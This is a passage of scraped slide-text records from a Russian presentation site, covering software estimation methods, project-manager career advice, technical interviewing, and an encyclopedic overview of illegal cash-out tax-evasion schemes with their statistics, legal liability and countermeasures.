"description": "Этапы оценки"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img20.jpg",
"description": "1 этап Знаем «о чём»"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img21.jpg",
"description": "Методы на 1-ом этапе «Локтём по карте» Метод аналогий"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img22.jpg",
"description": "2 этап Знаем, «что»"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img23.jpg",
"description": "Методы на 2-ом этапе Экспертные оценки WBS Use Case Points Формула Боэма Классификация Story Points Planning Poker Wideband Delphi"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img24.jpg",
"description": "3 этап Знаем, «как»"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img25.jpg",
"description": "Методы на 3-ем этапе WBS PERT CLOC Functional Points"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img26.jpg",
"description": "4 этап Знаем, «что получилось»"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img27.jpg",
"description": "Методы на 4-ом этапе Ретроспектива"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img28.jpg",
"description": "Примеры"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img29.jpg",
"description": "Software Estimation, слайд №30"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img30.jpg",
"description": "Исходные данные Чужой незнакомый код на Power Builder Ограниченная экспертиза в Power Builder"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img31.jpg",
"description": "Требуется Оценить миграцию кода на Java Минимизировать затраты на оценку"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img32.jpg",
"description": "Что можем посчитать Количество файлов Объём кода в Мб Количество ХП Количество пунктов меню (вариантов использования) Количество экранных форм Количество печатных форм"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img33.jpg",
"description": "Что можем вычислить Оценить среднее соотношение строк кода и объёма файлов (файлы содержат ещё и ресурсы)"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img34.jpg",
"description": "Что можем позаимствовать Статистику перевода строк кода Power Builder в Java"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img35.jpg",
"description": "Как можем уточнить Анализ наиболее рискованных вариантов использования (экспертный анализ)"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img36.jpg",
"description": "Что оцениваем Аналитика Разработка Тестирование Управление"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img37.jpg",
"description": "Вводим поправки Ищем повторяющиеся действия – сокращаем оценки Не забываем про фреймворк – базовая архитектура"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img38.jpg",
"description": "Software Estimation, слайд №39"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img39.jpg",
"description": "Исходные данные Длительность предыдущей фазы: 15 мес. Количество старых требований: 502 Команда уменьшилась в 2 раза Количество новых требований: 250 Время на оценку – 2 дня Задача – определить стоимость всех работ"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img40.jpg",
"description": "Грубая интегральная оценка 1 требование разрабатывалось: 15 мес. / 502 треб. = 0,62 дня 1 требование новой командой: 0,62 дня * 2 = 1,24 дня Новый scope: 1,24 дня * 250 = 308 дней ~ 15 мес."
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img41.jpg",
"description": "Грубая интегральная оценка Корректировка на проблемы внедрения (эмпирически) 308 дней * 1,2 = 370 дней ~ 17,5 мес. Общая трудоёмкость: 17,5 мес * 54 чел = 945 чел*мес"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img42.jpg",
"description": "Уточнение оценки На самом деле детализация требований изменилась На сколько?"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img43.jpg",
"description": "Ранжирование требований"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img44.jpg",
"description": "Уточнённая оценка 250 новых требования соответствуют 74-ём старым требованиям 945 чел*мес * (74 / 250) = 280 чел*мес"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img45.jpg",
"description": "Описание результата Без технического и функционального анализа задач Без учёта проектных факторов (команда, баги, регрессии) Без учёта внепроектных факторов (болезни, отпуска и пр.) Только на основе предыдущего опыта! Но закон больших чисел на нашей стороне. "
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img46.jpg",
"description": "Повышение атомарности задач Предыдущий этап: Не позволял манипулировать задачами Не учитывал специфику «несредних задач» Был слишком непрозрачен для Заказчика"
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img47.jpg",
"description": "Оценка индивидуальных задач Разбиваем на аналитику, разработку, тестирование Ранжируем на уровни сложности: элементарный лёгкий средний тяжёлый очень тяжёлый"
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img48.jpg",
"description": "Оценка индивидуальных задач"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img49.jpg",
"description": "Оценка задач"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img50.jpg",
"description": "Индивидуальный анализ Индивидуальное ревью оценок на предмет явно завышенных или заниженных оценок"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img51.jpg",
"description": "Результаты Проведена обоснованная оценка Применена комбинация методов Точность попадания по ряду задач 10-20 %"
},
{
"slide_number": "53",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img52.jpg",
"description": "Вопросы Какие методы были применены в примере? Какие недостатки у методов? Какие преимущества у методов?"
},
{
"slide_number": "54",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img53.jpg",
"description": "Заключение"
}
] |
https://mypresentation.ru/presentation/99639 | Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img0.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img1.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img2.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img3.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img4.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img5.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img6.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img7.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img8.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img9.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img10.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img11.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img12.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img13.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img14.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img15.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img16.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img17.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img18.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img19.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img20.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img21.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img22.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img23.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №24"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img24.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №25"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img25.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img26.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №27"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img27.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №28"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/7c54835e7f149ad08145a52125ea9fcd/img28.jpg",
"description": "Шарада для менеджера Роман Юферев, VIAcode SPM conference, 2011. - презентация, слайд №29"
}
] |
https://mypresentation.ru/presentation/9963 | Обналичивание денег _ | Экономика и Финансы | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img0.jpg",
"description": "Обналичивание денег"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img1.jpg",
"description": "Обнали́чка (денег), Обна́л — сленговое название действий, совершаемых хозяйствующими субъектами (юридическими лицами и индивидуальными предпринимателями), с целью уклонения от уплаты налогов и получения «чёрного нала», то есть наличных денежных средств, не отражённых в официальных бухгалтерских документах хозяйствующего субъекта. Обнали́чка (денег), Обна́л — сленговое название действий, совершаемых хозяйствующими субъектами (юридическими лицами и индивидуальными предпринимателями), с целью уклонения от уплаты налогов и получения «чёрного нала», то есть наличных денежных средств, не отражённых в официальных бухгалтерских документах хозяйствующего субъекта. В основу незаконного обналичивания денег входит использование подложных документов; Распространенным способом незаконного «обналичивания» денежных средств является совершение мнимой сделки"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img2.jpg",
"description": "История и значение «обналички» в СССР и РФ «Обналичивание» как вид незаконной экономической деятельности и как социальное явление сложилось в конце 80-х гг. на территории бывшего СССР. До 1995 г. деятельность лиц, относящихся ко второй группе (исполнители), даже не маскировалась под легальную деятельность. Комиссионные за услуги обналичивающих фирм упали с 15-18 % в 1995 г. до 5-7 % в 1999 г., а с 2001 г. колебались от 1 до 2,5 %. Одно из первых упоминаний схемы «обналички» было в начале 90-х в связи с так называемыми «чеченскими авизо» - поддельные платежные документы."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img3.jpg",
"description": "Обналичка с использованием фирмы-«однодневки» Прибегая к обналичке, хозяйствующий субъект заключает договор с фирмой-однодневкой По нему фирма фиктивно «поставляет» хозяйствующему субъекту несуществующие товары или разнообразные услуги, оказанные только на бумаге. Безналичные денежные средства, перечисленные хозяйствующим субъектом на расчётный счёт фирмы-однодневки, затем снимаются в банке по чеку И за вычетом заранее определённого процента они передаются менеджеру или владельцу хозяйствующего субъекта."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img4.jpg",
"description": "Обналичка с участием банка Зачастую фирмы-«однодневки» для незаконного обналичивания денег предоставляли недобросовестные сотрудники банков или руководство банков. По сообщению «Российской Газеты» почти все закрытые к концу 2000-х годов российские банки лишились лицензии именно за незаконное обналичивание денег. Закрытие многих коммерческих банков, занимавшихся обналичкой, приводило к «национализации» этого вида криминального бизнеса, например, в 2010 году большинство операторов рынка обналички использовали принадлежащие государству банки"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img5.jpg",
"description": "Обналичка через вклады физических лиц В конце 2000-х годов схема «обналички», по мнению Сбербанка, выглядела следующим образом: частное лицо открывало в банке вклад до востребования некая компания перечисляла на него деньги вкладчик их снимал в ближайшие дни. По этому случаю, представители коммерческих банков отмечали, что непосредственно в действиях клиента Сбербанка нарушения закона не было."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img6.jpg",
"description": "Обналичка с использованием подложных паспортов Многие фирмы-«однодневки» зарегистрированы по утерянным, украденным или приобретенным тем или иным незаконным способом паспортам, соответственно формальным учредителем является лицо, не имеющее отношение к сделке тогда как вся сумма сделки распределяется между заказчиком и исполнителем Начальник Департамента экономической безопасности МВД России в статье «„Черные схемы“ белых воротничков» 2006"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img7.jpg",
"description": "Обналичка с участием номинальных директоров С добровольного согласия владельца паспорта Например когда студенты за денежное вознаграждение предоставляли свои паспорта для различных финансовых операций, которые законодатель однозначно трактует как преступление Обналичка с использованием дебетовых карт В этом случае безналичные денежные средства, перечисленные хозяйствующим субъектом на расчётный счёт фирмы-«однодневки», переводятся затем на пластиковую карту."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img8.jpg",
"description": "Обналичка с использованием платёжных терминалов Примерно с 2005 года в России стал популярен новый вид обналичивания — через платёжные терминалы. Денежные средства с расчётного счёта фирмы-однодневки перечисляются безналичным путём на расчётный счёт фирмы, занимающейся обслуживанием платёжных терминалов Она в свою очередь, передаёт операторам рынка обналички сопоставимую (за вычетом заранее оговоренного процента) сумму наличных, собранных через терминалы у населения. В реестре сертифицированной контрольно-кассовой техники отсутствовали модели фискальных регистраторов для применения в автоматах. Объём обналички этим способом оценивался в 2007 году в 150 млрд—250 млрд руб."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img9.jpg",
"description": "Обналичка с использованием НКО Схема основана на том, что: Компания делает благотворительный взнос либо перечисляет спонсорскую помощь на счет благотворительной или общественной организации, имеющих статус некоммерческой организации. Организация якобы выдаёт целевую помощь своим членам или подопечным, что полностью соответствует её уставным целям. Однако выплаты оформляются на подставные лица и основная масса обналиченной суммы возвращается «благотворителю» наличными."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img10.jpg",
"description": "Статистика По данным экспертов Счетной палаты, рынок «обналички» на 2006 год был сопоставим с федеральным бюджетом. К концу 2000-х годов в России из вновь регистрируемых компаний примерно половина создавалась по подложным документам и несуществующему адресу, оборот фирм-однодневок, которые являются весьма важной частью схемы «обналичивания», в масштабах страны был достаточно велик — 120—150 миллиардов долларов ежегодно По информации, Центробанка, объём обналички в России за 2007 год составил 1 триллион рублей. Следовательно, хозяйствующие субъекты, применявшие обналичку в 2007 году, недоплатили в бюджет России НДС и налога на прибыль на сумму 356 миллиардов рублей. В 2009 году услугами по незаконному обналичиванию денег (напрямую или через «серые» схемы) пользовались 90-95 % организаций."
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img11.jpg",
"description": "Расценки Статья «Глава Минфина сделал прогнозы на новый финансовый год» от 22 февраля 2007 «РИА Новости» Весной 2009 года произошел всплеск регистрации новых фирм-однодневок и усилилась конкуренция на данном рынке, что привело к снижению расценок за обналичку. Летом 2009 года расценки на оптовую обналичку составляли от 2,4 до 3 процентов, розничная обналичка — от 3 до 5 процентов."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img12.jpg",
"description": "Ответственность Формально «обналичка» не является преступлением; статьи, предусматривающей уголовную ответственность за обналичку, в УК РФ нет. Вместе с тем, обналичка практически всегда сопровождается включением в налоговую отчётность заведомо ложных сведений, что может привести заказчиков услуги «обналичивания» к уголовной ответственности согласно действующему уголовному законодательству России по статьям 327 УК РФ \"Подделка документов\", 198 (199) УК РФ \"Уклонение от уплаты налогов\""
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img13.jpg",
"description": "Причины Желание снизить налоговую нагрузку на хозяйствующий субъект. Для разворовывания средств федерального, региональных и муниципальных бюджетов. Невозможность легальных расчётов с коррумпированными чиновниками, незаконными мигрантами и т. п. Владельцы крупных долей в уставном капитале хозяйствующих обществ выводят прибыль Последствия Огромная сумма налогов, недоплаченная хозяйствующими субъектами. Огромные искажения статистической отчётности лишают правительство возможности реального анализа экономических процессов и затрудняют принятие управленческих решений. Денежные средства, получаемые в результате использования обналички, порождают тысячи других преступлений — краж, грабежей, случаев мошенничества, вымогательства и шантажа."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/bb5a1df62ce9a79f909979e413fd28c6/img14.jpg",
"description": "Борьба с обналичкой Основная тяжесть борьбы с обналичкой в настоящее время лежит на банковских учреждениях, которые создали специализированные структурные подразделения «ПОД/ФТ» — сокращение от формулировки «Противодействие Отмыванию Доходов, полученных преступных путем, и Финансированию Терроризма». Кроме того, для борьбы фактически используется усложнение контроля за регистрацией юридических лиц: С 29 января 2010 года повышена государственная пошлина за регистрацию юрлица до 4000 рублей Проверка паспортных данных учредителей и руководителей при подаче заявления в регистрирующий орган Ограничение списка лиц, способных подавать в регистрирующий орган, заявителем, а пересылка почтовых документов по юридическому адресу Скоринговая оценка заявлений на госрегистрацию, при совокупности нескольких факторов, и отказ по формальному основанию Создание \"зарплатных\" комиссий налоговых органов, куда приглашаются руководители предприятий, на которых заработная плата ниже среднего уровня по отрасли"
}
] |
https://mypresentation.ru/presentation/99640 | Руководитель проекта - жизнь после найма (как ее обустроить) Селиховкин Иван | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img0.jpg",
"description": "Руководитель проекта - жизнь после найма (как ее обустроить) Селиховкин Иван"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img1.jpg",
"description": "Обо мне Иван Селиховкин, PMP. Практикующий тренер, консультант, руководитель проектов и программ. Образование (высшее): ИТ экономика и управление медицина (да, медицина) Успех в управлении проектами: для государства и коммерческого сектора в мелких (от 10 человек) и крупных (до 6000 человек) компаниях в России и вне ее Автор книги «Управление ИТ-проектом с нуля в любой организации». Автор ресурса о консалтинге и проектном управлении www.PMlead.ru"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img2.jpg",
"description": "На что похожа жизнь в организации?"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img3.jpg",
"description": "На что похожа жизнь в организации?"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img4.jpg",
"description": "Почему менеджмент переживает? Вы - непонятны"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img5.jpg",
"description": "Почему менеджмент переживает? Вы - непонятны"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img6.jpg",
"description": "Что Вы будете делать (как ПМ)?"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img7.jpg",
"description": "Что Вы будете делать (как ПМ)?"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img8.jpg",
"description": "Процесс не виден. Показывайте результат! Планы: точность оценок Документы: скорость подготовки Высвобождение дорогих ресурсов Рекламации Риски"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img9.jpg",
"description": "Тройственное ограничение"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img10.jpg",
"description": "Тройственное ограничение Когда помогает? Сделайте нам еще… Сделай им еще… А мы думали, что Вы нам сделаете… Мы у тебя разработчика заберем на месяц? Такое дело… нужно закончить уже завтра!"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img11.jpg",
"description": "Рекламации Снижается количество обоснованных рекламаций"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img12.jpg",
"description": "Риски"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img13.jpg",
"description": "Риски"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img14.jpg",
"description": "Риски"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img15.jpg",
"description": "Документы Единые подходы Скорость создания Качество и состав"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img16.jpg",
"description": "Поставленные процессы Крутая команда - стоит дорого!"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img17.jpg",
"description": "Поставленные процессы Отработайте процессы, и дайте шанс менее опытным! Крутые стоят дорого!"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img18.jpg",
"description": "Когда «показывать» оценки !"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img19.jpg",
"description": "Что мы делали? Оценивали себя для менеджмента (по возможности в деньгах) по: точности планов числу рекламаций уровню рисков качеству документов автономности команды Крутые стоят дорого!"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img20.jpg",
"description": "Итог?"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/f0c9d7aae3e58795a36c9fa184f9bb7b/img21.jpg",
"description": "Спасибо! Селиховкин Иван, PMP, консультант, тренер. почта: [email protected] сайт: www.pmlead.ru клуб: www.pmiclub.ru skype: selikhovkin"
}
] |
https://mypresentation.ru/presentation/99641 | Техническое интервью с человеческим лицом | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img0.jpg",
"description": "Техническое интервью с человеческим лицом"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img1.jpg",
"description": "Обо мне 10 лет в управлении и воодушевлении людей 4 счастливейших года соединения умных людей и классных IТ проектов Коучинг и вебинары по позитивному управлению рекрутингу, мотивации и построению взаимоотношений в IТ командах Путешествия в дальние и дикие страны"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img2.jpg",
"description": "Кто проводит технические собеседования? Кто проводит технические собеседования? Есть в зале те, кто будет проводить технические собеседования? Есть среди вас люди, кому всегда нравились собеседования, которые вы сами проходили? "
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img3.jpg",
"description": "Первое впечатление второй раз не создашь!"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img4.jpg",
"description": "Зачем мне это? Чем приятнее вы покажете себя в общении, тем лучше у вас будет репутация Чем лучше у вас репутация, тем больше у вас денег и выбора Чем лучше собеседование, тем меньше отказов со стороны кандидата А если хотите вырасти в менеджера, собеседования первый шаг показать себя"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img5.jpg",
"description": "Поговорим Как есть сейчас? Основные ошибки Каким интервью должно быть? Что может помочь?"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img6.jpg",
"description": "Интервью с HRом"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img7.jpg",
"description": "ТЕХНИЧЕСКОЕ ИНТЕРВЬЮ Йо, опять собеседовать Ну рассказывай что знаешь? Ага, а этого ты не знаешь, бугага, опять рекрутеры пригласили тупняков. А я вот знаю это, это и это, поэтому я ПЕРЕЦ!"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img8.jpg",
"description": "Впечатление кандидата об интервью"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img9.jpg",
"description": "Почему так нельзя? По вашему собеседованию, человек составляет мнение о всей компании Вам в проект нужен человек или вы пришли постебаться? Померились пис..ками и что дальше? Кандидат ушел с ощущением, что вы полный урюк и своим друзьям он это расскажет Чем больше таких собеседований,тем меньше у вас кандидатов. Слава разносится быстро."
},
{
"slide_number": "11",
